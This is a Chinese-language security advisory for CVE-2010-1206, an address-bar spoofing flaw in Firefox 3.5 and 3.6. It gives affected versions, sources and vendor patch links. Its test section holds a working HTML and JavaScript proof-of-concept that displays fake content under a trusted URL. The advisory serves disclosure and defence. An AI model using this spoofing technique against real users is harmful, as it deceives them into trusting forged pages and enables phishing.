安全研究

安全漏洞
Firefox about:blank页面加载地址栏欺骗漏洞

发布日期:2010-06-22
更新日期:2010-06-25

受影响系统:
Mozilla Firefox 3.6.x
Mozilla Firefox 3.5.x
不受影响系统:
Mozilla Firefox 3.6.7
描述:
BUGTRAQ  ID: 41055
CVE(CAN) ID: CVE-2010-1206

Firefox是非常流行的开源WEB浏览器。

在加载页面之前Firefox中新打开窗口的地址栏显示的是所请求位置的URL,如果通过window.stop()终止加载新页面的话,就可能导致在地址栏中显示可信任站点ULR的同时在about:blank文档中显示任意内容。

<*来源:Michal Zalewski (lcamtuf@echelon.pl
  
  链接:http://secunia.com/advisories/40283/
        http://lcamtuf.blogspot.com/2010/06/yeah-about-that-address-bar-thing.html
        https://www.redhat.com/support/errata/RHSA-2010-0547.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<input type=submit value="Click me!" onclick="clicked()">
<script>
var w;
function clicked() {
  w = window.open("http://1.2.3.4/", "_blank", "toolbar=1,menubar=1");
  setTimeout('w.document.body.innerHTML = "Fake content!";w.stop();', 500);
}
</script>

建议:
厂商补丁:

Mozilla
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.mozilla.org/

RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2010:0547-01)以及相应补丁:
RHSA-2010:0547-01:Critical: firefox security update
链接:https://www.redhat.com/support/errata/RHSA-2010-0547.html

浏览次数:9866
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障